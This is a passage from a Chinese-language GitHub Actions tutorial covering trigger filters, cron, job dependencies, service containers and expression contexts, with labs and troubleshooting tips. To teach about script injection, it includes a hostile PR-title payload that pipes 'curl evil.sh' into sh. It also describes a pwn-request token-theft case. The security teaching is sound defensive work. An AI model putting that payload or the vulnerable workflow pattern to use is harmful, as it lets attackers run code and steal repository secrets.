branches与branches-ignore不能同时使用(paths 同理);需要“包含再排除”时在branches/paths里用!前缀,顺序有意义(后面的模式覆盖前面的)。 - 多个过滤器之间是“与”:同时写 branches 和 paths 时,两者都匹配才运行。
- 只定义 branches 时,推送标签不会触发;只定义 tags 时,推送分支不会触发。推送标签时不评估 paths 过滤器。
- glob 语法:
*不匹配/,**匹配任意层级;'v*'、'releases/**'、'**.py'。以*、!、[开头的模式要加引号。 - paths 的 diff 上限:路径过滤只看最多 300 个变更文件;超过时可能出现意外的触发结果。
Why:pull_request 与 pull_request_target 的安全差异
pull_request(来自 fork) | pull_request_target | |
|---|---|---|
| 使用哪份 workflow 文件 | PR 中的(作者可以改) | base 仓库默认分支上的(作者改不了) |
| 默认检出的代码 | PR 的合并提交 | base 默认分支(不是 PR 代码) |
| GITHUB_TOKEN | 只读 | 可读写(受 permissions 约束) |
| secrets | 不传递(GITHUB_TOKEN 除外) | 可用 |
| 首次贡献者 | 公有仓库可能需要维护者批准后才运行 | — |
| 适合 | 构建与测试 PR 代码 | 只处理元数据:打标签、评论、分拣 |
危险模式是所谓的 “pwn request”:在 pull_request_target 里 actions/checkout 了 PR 的 head 代码并执行构建脚本——攻击者可以在 PR 里改 setup.py、测试或 npm 脚本,拿到带写权限的令牌和全部 secrets。actions/checkout 自 v7.0.0 起默认阻止在 pull_request_target/workflow_run 下检出 fork PR 的代码,但这只是兜底,正确做法是:构建测试放 pull_request,需要写权限的后续动作放 workflow_run 并把 PR 产物当作不可信数据处理(第 5、6 课展开)。
How:cron 的 UTC、timezone 与延迟
- 五段式 POSIX cron:分 时 日 月 周。
'30 1 * * 1-5'= 周一到周五 01:30(UTC)。 - 默认按 UTC;现在可以加
timezone: "America/Toronto"(IANA 名称)按本地时间运行,避免夏令时换算错误。 - 最短间隔 5 分钟;Actions 高负载时
schedule可能被延迟(整点最拥挤,建议选非整点,如 17 分)。 - 只在默认分支上运行;公有仓库 60 天没有任何仓库活动会自动禁用定时 workflow。
When:选哪个事件
| 需求 | 推荐 |
|---|---|
| PR 必需检查 | pull_request(+ push: branches: [main] 保证主干也有记录) |
| 只在应用代码变化时跑 | paths 过滤——但若该检查被设为必需检查,被过滤掉时 PR 会一直等待(模块 8 的坑) |
| 发布版本 | push: tags: ['v*'] 或 release: types: [published] |
| CI 通过后再做部署/评论 | workflow_run 或同一 workflow 内 needs |
| 外部系统(如 CMS、其他平台)触发 | repository_dispatch 或 API 调 workflow_dispatch |
workflow_dispatch、repository_dispatch 外,GITHUB_TOKEN 引发的事件不会创建新运行(防止递归);由它创建的 PR 的 opened/synchronize/reopened 运行会处于需要批准的状态。② “pull_request 的 branches: [main] 指的是 PR 来源分支”——指的是目标分支。③ “cron 写 9 点就是北京时间 9 点”——默认是 UTC。流程图:事件如何被过滤
对比图:fork PR 的两种触发方式
交互模拟器:这个事件会触发哪些 workflow?
设置事件、分支/标签与变更文件,点击“评估”。模拟器按 GitHub 的规则逐个评估 myapp 仓库中的 4 个 workflow,并解释每个过滤器的判断结果。
ci.yml: push: branches [main]
pull_request: branches [main]
paths-ignore: ['**.md','docs/**']
release.yml: push: tags ['v*']
nightly.yml: schedule: cron '17 6 * * *'
timezone: America/Toronto
docs.yml: push: branches [main]
paths: ['docs/**','**.md']常用触发配置片段
on:
push:
branches: [main, 'releases/**']
tags: ['v*']
paths-ignore: ['**.md', 'docs/**']
pull_request:
types: [opened, synchronize, reopened, ready_for_review]
branches: [main]
workflow_dispatch:
inputs:
log_level:
description: "日志级别"
type: choice
options: [info, debug]
default: info
dry_run:
type: boolean
default: true
schedule:
- cron: '17 6 * * 1-5'
timezone: "America/Toronto"
release:
types: [published]
workflow_run:
workflows: [CI]
types: [completed]
branches: [main]
repository_dispatch:
types: [cms-updated]
注意:同时写 push.branches 和 push.tags 时,推送分支或推送标签任一匹配都会触发;但 paths-ignore 不作用于标签推送。workflow_run.workflows 写的是被监听 workflow 的 name。
触发与调试命令
| 命令 | 作用 |
|---|---|
gh workflow run ci.yml --ref feature/x -f log_level=debug -f dry_run=false | 触发 workflow_dispatch(带 inputs) |
gh workflow enable|disable nightly.yml | 启用/禁用(定时任务被自动禁用后用 enable 恢复) |
gh api repos/{owner}/{repo}/dispatches -f event_type=cms-updated -F 'client_payload[page]=home' | 发送 repository_dispatch |
gh run list --event schedule --limit 5 | 查看定时运行实际开始的时间(观察延迟) |
gh workflow run ci.yml --ref main
gh api repos/{owner}/{repo}/dispatches -f event_type=cms-updated -F 'client_payload[page]=home'
gh run list --limit 3 --json event,displayTitle,createdAt -q '.[] | [.event,.displayTitle,.createdAt] | @tsv'
✓ Created workflow_dispatch event for ci.yml at main repository_dispatch cms-updated 2026-11-15T14:03:11Z workflow_dispatch CI · workflow_dispatch · main 2026-11-15T14:02:55Z push ci: explore runner 2026-11-15T13:40:02Z
验证:gh api …/dispatches 成功时返回 HTTP 204、没有输出。常见错误:repository_dispatch 需要对仓库有写权限的令牌(PAT 或 GitHub App);workflow 文件不在默认分支上时不会触发。
本地校验 YAML 与 workflow 语法
# actionlint:社区维护的 workflow 静态检查器(语法、表达式、shellcheck) docker run --rm -v "$PWD:/repo" -w /repo rhysd/actionlint:latest -color
actionlint 能在推送前发现未知的事件名、错误的 ${{ }} 表达式、拼错的上下文属性等。生产中建议固定镜像版本。
实验 2:paths 过滤、手动触发与定时任务(约 6 分钟)
.github/workflows/ci.yml 的 on 段:
on:
push:
branches: [main]
paths-ignore: ['**.md', 'docs/**']
pull_request:
branches: [main]
paths-ignore: ['**.md', 'docs/**']
workflow_dispatch:
git commit -am "ci: ignore docs-only changes" && git push echo "# myapp" >> README.md && git commit -am "docs: readme" && git push sleep 10; gh run list --workflow ci.yml --limit 2
STATUS TITLE WORKFLOW BRANCH EVENT … ✓ ci: ignore docs-only changes CI main push … ✓ ci: explore runner CI main push …
“docs: readme” 这次推送没有出现在列表中——被 paths-ignore 过滤掉了,且不会留下“跳过”记录。
name: CI 下加一行 run-name: "CI · ${{ github.event_name }} · ${{ github.ref_name }}",推送后执行:
gh workflow run ci.yml --ref main sleep 5; gh run list --workflow ci.yml --limit 1
STATUS TITLE WORKFLOW BRANCH EVENT … * CI · workflow_dispatch · main CI main workflow_dispatch …
name: Nightly
on:
schedule:
- cron: '17 6 * * *'
timezone: "America/Toronto"
workflow_dispatch:
permissions:
contents: read
jobs:
build:
runs-on: ubuntu-24.04
steps:
- uses: actions/checkout@v7
- run: docker build --pull -t myapp:nightly .
- run: echo "event=${{ github.event_name }} schedule=${{ github.event.schedule }}"
git add .github/workflows/nightly.yml && git commit -m "ci: nightly build" && git push gh workflow run nightly.yml # 不必等到明天,先手动验证一次 gh workflow view nightly.yml
github.event.schedule 在定时触发时等于对应的 cron 字符串(一个 workflow 有多个 cron 时可据此区分)。手动触发时为空。
git switch -c feat/hello echo 'def hello(): return "hi"' >> app.py git commit -am "feat: hello" && git push -u origin feat/hello gh pr create --fill gh pr checks --watch
在这次 PR 运行的 “Set up job” 后的 checkout 日志里,你会看到检出的 ref 是 refs/pull/N/merge:CI 测试的是“如果现在合并会得到的代码”。保持这个 PR 打开,模块 3 继续使用。
案例 1:pull_request_target 导致令牌泄露
问题:一个开源项目为了让 fork PR 也能上传覆盖率报告(需要 secret),把 CI 改成 pull_request_target 并检出 github.event.pull_request.head.sha 执行 npm install。攻击者提交了修改 preinstall 脚本的 PR,读取并外传了带写权限的令牌和 npm 发布 token。做法:CI 回到 pull_request(无 secrets);覆盖率报告作为制品上传,由 workflow_run 下载并只当数据解析后上传;吊销并轮换所有 secrets。限制:workflow_run 中也不能执行来自 PR 的代码。
案例 2:monorepo 中 paths 过滤与必需检查冲突
问题:前端 workflow 加了 paths: ['web/**'],并在规则集中设为必需检查。只改后端的 PR 一直显示 “Expected — Waiting for status to be reported”,无法合并。做法:workflow 去掉 paths 过滤,改为始终触发,在 job 内用变更检测(如 dorny/paths-filter v4)决定是否执行重步骤;或增加一个始终运行的汇总 job 作为必需检查。限制:始终触发会消耗少量分钟。
案例 3:夜间任务“偶尔不跑”
问题:团队把 10 个仓库的夜间扫描都设为 0 0 * * *,经常延迟 20–40 分钟,偶尔整次缺失。做法:错开到非整点(如 23 2 * * *),使用 timezone,并添加监控:若 26 小时内没有成功的 schedule 运行就告警。限制:官方明确 schedule 在高负载下可能延迟,不适合精确定时的业务。
常见错误与解决
推送后 Actions 页面什么都没有出现
原因:文件路径不对;YAML 无效;事件/分支/paths 过滤不匹配;推送来自 GITHUB_TOKEN;提交信息含 [skip ci];Actions 被禁用。
gh workflow list --all git log -1 --format=%B | grep -i "skip ci" git show --stat HEAD
修复:按模块 8 的排障树逐项排查。
Invalid workflow file: .github/workflows/ci.yml#L5 — you may only define one of `branches` and `branches-ignore` for a single event
修复:改为 branches: ['**', '!wip/**'] 这种“包含 + 取反”的写法。
Could not create workflow dispatch event: HTTP 422: Workflow does not have 'workflow_dispatch' trigger
原因:所选 ref 上的 workflow 文件没有 workflow_dispatch,或 workflow 文件尚未合入默认分支(Actions 页面不显示 “Run workflow” 按钮)。
修复:先把带 workflow_dispatch 的文件合并到默认分支,再在其他分支上运行。
定时 workflow 不再运行,页面提示 “This scheduled workflow is disabled because there hasn't been activity in this repository for at least 60 days.”
修复:gh workflow enable nightly.yml;或保持仓库有活动。只发生在公有仓库。
workflow_run 的 workflow 从未被触发
原因:workflows: 写的是文件名而不是被监听 workflow 的 name(也可能拼写/大小写不一致);本 workflow 不在默认分支;超过 3 层串联。
1. 在 feature/x 分支上手动触发 ci.yml,并传入 inputs log_level=debug。
gh workflow run ci.yml --ref feature/x -f log_level=debug
2. 写出一个只在推送 v 开头的标签、或在 main 上修改了 Dockerfile 时触发的 on 配置。
on:
push:
tags: ['v*']
branches: [main]
paths: ['Dockerfile']
# 注意:paths 不作用于标签推送,所以标签推送总会触发;分支推送需要同时满足 main + Dockerfile。外部贡献者的 PR 需要在评论里显示测试覆盖率,覆盖率服务需要一个 token。同事提议把 CI 改成 pull_request_target。你怎么评审?
拒绝。pull_request_target 拥有写权限令牌和 secrets,若检出并运行 PR 代码(安装依赖、跑测试本身就是执行代码),攻击者可窃取 token。方案:CI 保持 pull_request,把覆盖率结果与 PR 编号作为制品上传;新建 workflow_run(types: completed)workflow,下载制品,把内容当作不可信数据(校验格式、不执行),再用 token 发评论。同时为该 workflow 设置最小 permissions(pull-requests: write)。
经核实的教学视频
官方文档
- Events that trigger workflows
- Workflow syntax for GitHub Actions
- GitHub Security Lab:Preventing pwn requests
视频分镜脚本(约 90 秒)
本课件无法直接生成视频/MP3,已提供分镜和讲解稿,可交给视频工具生成。
画面:多个事件图标(推送、PR、时钟、按钮、发布)飞入一个漏斗。
旁白:on 字段就是漏斗的入口。只有列出的事件、匹配的分支和路径,才能创建一次运行。
画面:三个过滤器依次亮起,README 修改在 paths 处被弹出。
旁白:多个过滤器之间是“与”的关系。只改文档的提交被 paths-ignore 过滤,Actions 页面不会留下记录。
画面:左右分屏:pull_request 手里没有钥匙,pull_request_target 拿着钥匙却抱着来历不明的包裹,红色警报。
旁白:pull_request_target 有写权限和机密,绝对不要在里面执行 PR 的代码。
画面:地球上的 UTC 时钟与多伦多时钟并列,cron 字符串旁出现 timezone 字段。
旁白:定时任务默认按 UTC 运行,可以指定时区;高峰期可能延迟,别选整点。
模块 3 · job、step、runner 与依赖
- 用
needs构造 job 依赖图,理解上游失败时下游默认被跳过;用 joboutputs+$GITHUB_OUTPUT跨 job 传递字符串。 - 区分
runs-on、container(整个 job 跑在容器里)与services(旁挂服务容器),知道两种情况下连接服务的主机名与端口差异。 - 合理设置
defaults、working-directory、timeout-minutes、continue-on-error,理解 step 的 outcome 与 conclusion。
What:job 级关键字一览
| 关键字 | 作用 | 要点 |
|---|---|---|
needs | 声明依赖的 job | 上游全部成功才运行;任何上游失败/跳过,下游默认跳过(除非 if 用状态函数改写) |
outputs | 把 step 输出提升为 job 输出 | 下游通过 needs.<job>.outputs.<name> 读取;每个 job 输出最多 1 MB,整个运行合计 50 MB;含 secret 的输出会被丢弃 |
runs-on | 选择 runner | 字符串(ubuntu-24.04)、数组(自托管时要求全部标签匹配)、或 {group, labels} |
container | 让 job 的所有 run 步骤在指定容器中执行 | 需要 Linux runner;可配 credentials、env、volumes、options |
services | 为 job 启动旁挂服务容器(数据库、缓存) | job 结束自动销毁;用 options: --health-cmd 让 runner 等服务健康后再执行 step |
defaults.run | 默认 shell 与 working-directory | 可在 workflow 级或 job 级设置;不能使用表达式 |
timeout-minutes | 超时自动取消 | job 默认 360 分钟;step 也可设;托管 runner 每个 job 最长 6 小时 |
continue-on-error | 失败不影响整体结论 | step 级:后续 step 照常执行,job 仍可成功;job 级:该 job 失败不让 run 失败(常用于实验性 matrix 组合) |
environment | 关联部署环境(审批、环境 secrets) | 第 3 课展开 |
Why:为什么要拆 job
- 并行:lint、单元测试、镜像构建互不依赖时并行,缩短总时长。
- 不同环境:不同系统、架构、容器镜像、权限(例如只有 deploy job 需要写权限)。
- 门禁:部署 job
needs: [test, build],确保验证通过才部署。 - 代价:每个 job 都有启动开销(分配 runner、checkout、装依赖),拆得太细反而更慢、更费分钟。
How:服务容器的网络(最容易出错的地方)
| job 运行方式 | 服务容器所在网络 | step 中如何连接 Redis | 需要 ports 吗 |
|---|---|---|---|
直接在 runner 上(没有 container:) | Docker 默认桥接网络,端口映射到 runner 主机 | localhost:6379(或映射后的端口) | 需要:ports: ['6379:6379'] |
在 job 容器中(有 container:) | runner 创建的用户自定义桥接网络,job 容器与服务容器在同一网络 | redis:6379(服务的 label 名就是主机名) | 不需要 |
只写容器端口(如 ports: ['6379'])时 Docker 会分配随机主机端口,可用 ${{ job.services.redis.ports['6379'] }} 读取。服务容器和 Docker 容器 Action 都只能在 Linux runner 上使用。
step 的 outcome 与 conclusion
steps.<id>.outcome 是 step 实际结果;steps.<id>.conclusion 是应用 continue-on-error 之后的结果。一个设置了 continue-on-error: true 的 step 失败时:outcome = failure,conclusion = success。
When:选择 container 还是直接在 runner 上
| 场景 | 推荐 |
|---|---|
| 需要与生产一致的系统库(如固定 Debian 版本 + 系统包) | container: python:3.13-slim |
| 需要 runner 预装工具(Docker CLI 构建镜像、云 CLI) | 直接在 runner 上(容器内默认没有这些工具) |
| 集成测试需要数据库/缓存 | services(两种方式都支持) |
| 多个服务 + 复杂编排 | 也可以在 step 中 docker compose up -d(runner 预装 Docker) |
${{ matrix.dir }}”——不能,defaults 不支持表达式,需要在 step 级写 working-directory。依赖图:myapp 的 CI 与 outputs 传递
网络图:服务容器的两种连接方式
交互模拟器:needs 依赖图如何执行
选择哪个 job 会失败、notify 用什么 if,点击“运行”。观察下游 job 被跳过的传播方式,以及状态函数如何改变它。
outputs:在 step 和 job 之间传值
jobs:
meta:
runs-on: ubuntu-24.04
outputs:
version: ${{ steps.v.outputs.version }}
steps:
- uses: actions/checkout@v7
- id: v
run: echo "version=1.4.0-${GITHUB_SHA::7}" >> "$GITHUB_OUTPUT"
build-image:
needs: [meta]
runs-on: ubuntu-24.04
steps:
- uses: actions/checkout@v7
- run: docker build -t myapp:${{ needs.meta.outputs.version }} .
环境文件:$GITHUB_OUTPUT(step 输出)、$GITHUB_ENV(后续 step 的环境变量)、$GITHUB_PATH(追加 PATH)、$GITHUB_STEP_SUMMARY(运行摘要 Markdown)。旧的 ::set-output 命令已弃用,不要再用。多行值使用分隔符语法:
{
echo "notes<<EOF"
git log -3 --oneline
echo "EOF"
} >> "$GITHUB_OUTPUT"
echo "### 构建完成 :rocket:" >> "$GITHUB_STEP_SUMMARY"
services + container 写法
jobs:
test-on-runner: # 方式 A:在 runner 上
runs-on: ubuntu-24.04
services:
redis:
image: redis:8
ports: ['6379:6379']
options: >-
--health-cmd "redis-cli ping"
--health-interval 5s --health-timeout 3s --health-retries 10
env:
REDIS_HOST: localhost
steps: [ ... ]
test-in-container: # 方式 B:job 在容器中
runs-on: ubuntu-24.04
container: python:3.13-slim
services:
redis:
image: redis:8
options: --health-cmd "redis-cli ping" --health-interval 5s --health-retries 10
env:
REDIS_HOST: redis
steps: [ ... ]
defaults、timeout 与 continue-on-error
defaults:
run:
shell: bash
working-directory: ./ # 不能用表达式
jobs:
test:
runs-on: ubuntu-24.04
timeout-minutes: 15 # 默认 360,务必收紧
steps:
- name: 可选的安全扫描(失败不阻塞)
id: audit
continue-on-error: true
run: pip install pip-audit && pip-audit -r requirements.txt
- run: echo "audit outcome=${{ steps.audit.outcome }} conclusion=${{ steps.audit.conclusion }}"
- name: 长命令单独限时
timeout-minutes: 5
run: pytest -q
验证:日志中 shell: /usr/bin/bash -e {0} 显示实际使用的 shell 与参数。显式写 shell: bash 时 runner 使用 bash --noprofile --norc -eo pipefail {0},管道中任一命令失败都会让 step 失败;不写时默认为 bash -e {0}(没有 pipefail)。
实验 3:用 Redis 服务容器跑 myapp 集成测试(约 6 分钟)
feat/hello 分支):
jobs:
lint:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- uses: actions/checkout@v7
- uses: actions/setup-python@v7
with: { python-version: "3.13" }
- run: pip install ruff && ruff check .
test:
needs: lint
runs-on: ubuntu-24.04
timeout-minutes: 15
services:
redis:
image: redis:8
ports: ['6379:6379']
options: >-
--health-cmd "redis-cli ping"
--health-interval 5s --health-timeout 3s --health-retries 10
env:
REDIS_HOST: localhost
steps:
- uses: actions/checkout@v7
- uses: actions/setup-python@v7
with: { python-version: "3.13" }
- run: pip install -r requirements-dev.txt
- run: pytest -v
build-image:
needs: test
runs-on: ubuntu-24.04
timeout-minutes: 15
steps:
- uses: actions/checkout@v7
- run: docker build -t myapp:${{ github.sha }} .
git switch feat/hello git commit -am "ci: redis service container for integration tests" && git push gh pr checks --watch
✓ CI/lint (pull_request) 9s ✓ CI/test (pull_request) 27s ✓ CI/build-image (pull_request) 35s
RUN_ID=$(gh run list --branch feat/hello --workflow ci.yml --limit 1 --json databaseId -q '.[0].databaseId') gh run view "$RUN_ID" --log | grep -E "Starting redis|healthy|test_redis|passed"
test Initialize containers Starting redis service container test Initialize containers redis service is healthy. test Run pytest -v tests/test_redis.py::test_hits_increase PASSED [100%] test Run pytest -v ========== 2 passed in 0.35s ==========
“Initialize containers” 阶段:runner 创建网络、拉取 redis:8、启动容器并等待健康检查通过,然后才开始执行 step。
app.py 末尾加一行未使用的 import(import sys),推送。
echo "import sys" >> app.py && git commit -am "test: break lint" && git push gh pr checks --watch
X CI/lint (pull_request) 8s - CI/test (pull_request) 0 - CI/build-image (pull_request) 0
ruff 报 F401 `sys` imported but unused;test 与 build-image 被跳过(“-”)。修复:sed -i '$d' app.py && git commit -am "fix lint" && git push。
container: python:3.13-slim,把 REDIS_HOST 改为 redis,删除 ports,并去掉 setup-python(容器里已有 Python)。对比两种方式的耗时。案例 1:集成测试偶发 “Connection refused”
问题:Postgres 服务容器没有健康检查,约 5% 的运行在数据库初始化完成前就开始迁移,测试失败,重跑又好了。做法:加 --health-cmd pg_isready 与重试参数,runner 会等到 healthy 再执行 step。限制:健康检查只保证进程就绪,应用级初始化(如导入种子数据)仍需在 step 中等待。
案例 2:一个卡死的测试烧掉 6 小时分钟数
问题:私有仓库中一个等待外部服务的测试死锁,job 跑满默认的 360 分钟才被取消;同一天 20 个 PR 触发,月度分钟预算一天用完。做法:所有 job 显式设置 timeout-minutes(按 P95 时长的 2–3 倍),pytest 加 pytest-timeout;配置 Actions 预算告警。限制:超时太紧会误杀慢速但正常的运行,需定期按实际时长调整。
案例 3:部署 job 在测试失败时也被执行
问题:deploy job 写了 if: always() && github.ref == 'refs/heads/main',本意是“main 分支总要部署”,结果测试失败时也部署了。做法:改为 if: success() && github.ref == 'refs/heads/main'(或省略状态函数);把通知类 job 与部署类 job 分开。限制:见模块 4 的 if 常见坑。
常见错误与解决
redis.exceptions.ConnectionError: Error 111 connecting to redis:6379. Connection refused / Name or service not known
原因:job 直接在 runner 上运行,却用服务名 redis 作主机名(只有 job 容器能解析);或没有映射 ports;或服务尚未就绪。
修复:runner 方式用 localhost + ports;container 方式用服务名;加健康检查。
Error: The job was not started because the job dependency 'lint' failed / Job was skipped
原因:needs 的上游失败或被跳过。
修复:修复上游;若下游需要无论如何都运行(清理、通知),使用 if: always() 或 if: ${{ !cancelled() }}。
Error: The operation was canceled. / The job running on runner … has exceeded the maximum execution time of 15 minutes.
原因:达到 timeout-minutes。
修复:查看最后输出的步骤定位卡点;为网络操作加超时与重试;必要时提高该 step 的超时而非整个 job。
Container operations are only supported on Linux runners
原因:在 Windows/macOS runner 上使用了 container 或 services。
修复:把需要服务容器的 job 放到 Linux runner;Windows 上可直接安装服务或使用托管数据库。
needs.meta.outputs.version 为空字符串
原因:job 级 outputs 没有映射 step 输出;step 没有 id;写入格式错误(例如写成 version: 1.0);输出包含 secret 被丢弃(日志有 “Skip output 'version' since it may contain secret.”);下游 job 没有在 needs 中列出 meta。
1. 写一个 step,把当前提交的短 SHA 写入名为 short 的输出,并在运行摘要中显示它。
- id: sha
run: |
echo "short=${GITHUB_SHA::7}" >> "$GITHUB_OUTPUT"
echo "短 SHA:\`${GITHUB_SHA::7}\`" >> "$GITHUB_STEP_SUMMARY"2. 查看某次运行中 test job 的 “Initialize containers” 日志。
gh run view RUN_ID --log | grep "^test" | grep -A15 "Initialize containers"
团队想把 lint、单元测试、集成测试、镜像构建、安全扫描拆成 5 个 job “提高并行度”,结果总时长从 3 分钟变成 5 分钟。为什么?如何设计?
每个 job 都要分配 runner、checkout、安装 Python 与依赖(各 30–60 秒),且 needs 链让它们无法真正并行。建议:lint + 单元测试合在一个 job(快速失败);集成测试(需要服务容器)与镜像构建并行;安全扫描设 continue-on-error 或单独 workflow。再配合依赖缓存(模块 6)。衡量标准是端到端时长与分钟消耗,而不是 job 数量。
经核实的教学视频
服务容器(services)未找到经核实的专题视频,请参考下方官方文档与分镜脚本。
官方文档
- Creating Redis service containers
- Passing information between jobs
- Workflow commands(GITHUB_OUTPUT / GITHUB_ENV)
视频分镜脚本(约 90 秒)
本课件无法直接生成视频/MP3,已提供分镜和讲解稿,可交给视频工具生成。
画面:四张 job 卡片用箭头相连,lint 变红后,箭头下游的卡片变灰。
旁白:needs 不只决定顺序,也决定是否运行。上游失败,下游默认跳过。
画面:meta job 把一个写着版本号的小纸条放进 GITHUB_OUTPUT 信箱,build job 从信箱取出。
旁白:job 之间传字符串用 outputs,传文件用制品。
画面:runner 旁边弹出一个 Redis 容器,心跳图标从红变绿后,pytest 才开始。
旁白:服务容器随 job 启动、随 job 销毁。加上健康检查,runner 会等它准备好。
画面:两种网络示意并排:localhost 加端口,和服务名直连。
旁白:在 runner 上用 localhost 和端口映射;在容器里,直接用服务名。
模块 4 · 表达式、上下文与条件
${{ }} 在 runner 执行之前就被求值;读懂上下文、写对 if,避开“永远为真”的坑- 说出 github / env / vars / secrets / job / steps / runner / matrix / needs / inputs 等上下文的内容与可用位置。
- 熟练使用
contains、startsWith、format、join、fromJSON、toJSON、hashFiles与success()/failure()/always()/cancelled()。 - 识别 if 条件的常见坑,并能避免把不可信输入直接插进
run:造成脚本注入。
What:表达式与上下文
表达式写在 ${{ ... }} 中,由 GitHub(或 runner 在执行前)求值,结果作为字符串替换进 YAML。它支持字面量(true、null、数字、单引号字符串)、运算符(( ) [ ] . ! < <= > >= == != && ||)、上下文属性和内置函数。
| 上下文 | 内容 | 典型用法 |
|---|---|---|
github | 事件与运行信息:event_name、ref、ref_name、sha、actor、repository、run_id、run_attempt、event(完整 payload) | github.ref == 'refs/heads/main' |
env | workflow/job/step 中定义的 env | env.IMAGE |
vars | 仓库/环境/组织级的配置变量(非机密) | vars.PYTHON_DEFAULT |
secrets | 机密与 GITHUB_TOKEN | secrets.GITHUB_TOKEN |
job | 当前 job 的 status、container、services | job.services.redis.ports['6379'] |
steps | 当前 job 中带 id 的 step:outputs、outcome、conclusion | steps.v.outputs.version |
runner | os(Linux/Windows/macOS)、arch、temp、tool_cache、debug | runner.os == 'Windows' |
strategy / matrix | matrix 的当前组合与 fail-fast 等设置 | matrix.python |
needs | 依赖 job 的 result 与 outputs | needs.test.result == 'failure' |
inputs | workflow_dispatch / workflow_call 的输入(保留类型) | inputs.dry_run(布尔) |
上下文的可用位置有限制。例如 jobs.<id>.if 只能用 github、needs、vars、inputs(不能用 env、secrets、steps);runs-on 中可以用 matrix。完整表格见官方 “Contexts reference” 中的 Context availability。
常用函数
| 函数 | 示例 | 说明 |
|---|---|---|
contains(search, item) | contains(github.event.pull_request.labels.*.name, 'skip-e2e') | 字符串包含(不区分大小写)或数组包含;.* 是对象过滤器,提取数组中每个元素的属性 |
startsWith / endsWith | startsWith(github.ref, 'refs/tags/v') | 不区分大小写 |
format | format('myapp:{0}-{1}', github.ref_name, github.run_number) | 占位符替换 |
join | join(matrix.python, ', ') | 数组拼接 |
toJSON | toJSON(github.event) | 调试时打印完整上下文 |
fromJSON | fromJSON(needs.plan.outputs.matrix)、fromJSON(vars.MAX_JOBS) | 把 JSON 字符串转成对象/数组/数字/布尔(动态 matrix 的关键) |
hashFiles(pattern…) | hashFiles('**/requirements*.txt') | 匹配文件的 SHA-256 组合哈希,没有匹配时返回空字符串;常用于缓存键 |
success() | 默认隐含 | 之前所有 step(或 needs)都成功 |
failure() | if: failure() | 之前任一 step(或任一祖先 job)失败 |
always() | if: always() | 总是运行,即使运行被取消 |
cancelled() | if: ${{ !cancelled() }} | 运行被取消;!cancelled() 是“除取消外都运行”的推荐写法 |
Why:if 条件的六个经典坑
- 表达式外面有多余文本 → 永远为真:
if: ${{ github.ref == 'refs/heads/main' }} && true先被替换成字符串"false && true",非空字符串为真。要么整条都写在一个${{ }}里,要么完全不写${{ }}(if会自动当作表达式求值)。 - 以
!开头必须加引号或${{ }}:if: !cancelled()中的!是 YAML 标签语法,会导致解析错误;写成if: ${{ !cancelled() }}。 - 写了状态函数就不再隐含 success():
if: always() && github.ref == 'refs/heads/main'在测试失败时也会运行(见模块 3 案例 3)。 - 字符串与布尔:
inputs.dry_run是布尔,github.event.inputs.dry_run是字符串'true';if: github.event.inputs.dry_run对'false'也为真(非空字符串)。用inputs.dry_run或比较== 'true'。 - secrets 不能直接用于 if:先映射到 env:
env: { HAS_TOKEN: "${{ secrets.TOKEN != '' }}" },再if: env.HAS_TOKEN == 'true'(step 级)。 - 被跳过的依赖:下游 job 写
if: needs.a.result == 'success' || needs.b.result == 'success'时,如果没有状态函数,隐含的 success() 仍要求所有 needs 成功——要加!cancelled() && (…)。
How:比较规则
==是宽松比较:类型不同会先转成数字;字符串比较不区分大小写。- 假值:
false、0、-0、""、null、NaN;其余为真(包括字符串'false')。 a && b || c可模拟三元运算:${{ github.ref == 'refs/heads/main' && 'prod' || 'dev' }}(注意 b 为假值时会退化为 c)。
When:安全地使用不可信输入(脚本注入)
github.event.pull_request.title、head_ref、issue 正文、评论等由外部用户控制。直接写进 run: 时,表达式先被替换成文本再交给 shell,标题 "; curl evil.sh | sh # 就会被执行。正确做法是先放进环境变量,让 shell 把它当作数据:
# ✗ 危险
- run: echo "PR 标题:${{ github.event.pull_request.title }}"
# ✓ 安全
- env:
TITLE: ${{ github.event.pull_request.title }}
run: echo "PR 标题:$TITLE"
${{ }} 是 shell 变量”——不是,它在 shell 启动前就被替换成文本。② “if: always() 适合清理步骤”——它在取消时也运行,长清理可能拖延取消;多数情况 !cancelled() 更合适。③ “contains 区分大小写”——不区分。④ “secrets 在表达式里会被掩码所以随便用”——掩码只作用于日志输出,不能防止被脚本注入外传。时序图:表达式在什么时候求值
决策图:清理/通知 step 用哪个状态函数
!cancelled();失败通知:failure();必须执行的资源清理:always()交互求值器:这个 if 会不会运行?
设置运行上下文,再选择一个 if 写法。求值器展示两阶段求值过程(表达式替换 → 真值判断),并指出坑在哪里。
调试上下文:把它们打印出来
- name: Dump contexts
env:
GITHUB_CONTEXT: ${{ toJSON(github) }}
MATRIX_CONTEXT: ${{ toJSON(matrix) }}
RUNNER_CONTEXT: ${{ toJSON(runner) }}
run: |
echo "$GITHUB_CONTEXT" | jq '{event_name, ref, ref_name, sha, actor, run_id, run_attempt}'
echo "$RUNNER_CONTEXT"
{
"event_name": "pull_request",
"ref": "refs/pull/7/merge",
"ref_name": "7/merge",
"sha": "9c1e…",
"actor": "your-name",
"run_id": "18234570001",
"run_attempt": "1"
}
{ "os": "Linux", "arch": "X64", "name": "GitHub Actions 1000123480", "temp": "/home/runner/work/_temp", … }
把上下文放进 env 再打印,而不是直接 echo '${{ toJSON(github) }}'——后者遇到单引号会破坏脚本,也是注入风险。toJSON(github) 中的令牌会被自动掩码。
常用表达式模式
# 只在 main 的 push 上运行
if: github.event_name == 'push' && github.ref == 'refs/heads/main'
# 标签发布
if: startsWith(github.ref, 'refs/tags/v')
# PR 带 skip-e2e 标签时跳过
if: ${{ !contains(github.event.pull_request.labels.*.name, 'skip-e2e') }}
# 除取消外都上传报告
if: ${{ !cancelled() }}
# 依赖中任一成功即运行(需要 needs: [a, b])
if: ${{ !cancelled() && (needs.a.result == 'success' || needs.b.result == 'success') }}
# 三元
env:
TARGET: ${{ github.ref == 'refs/heads/main' && 'prod' || 'dev' }}
# 变量转数字
timeout-minutes: ${{ fromJSON(vars.TEST_TIMEOUT || '15') }}
相关命令
| 命令 | 作用 |
|---|---|
gh variable set PYTHON_DEFAULT --body 3.13 | 设置仓库变量(vars 上下文) |
gh variable list | 查看变量 |
gh run rerun RUN_ID --debug | 开启调试日志重跑(显示表达式求值细节,runner.debug 为 1) |
实验 4:条件运行、失败通知与安全使用 PR 标题(约 6 分钟)
name: Expressions lab
on:
pull_request:
workflow_dispatch:
inputs:
dry_run: { type: boolean, default: true }
permissions:
contents: read
jobs:
demo:
runs-on: ubuntu-24.04
env:
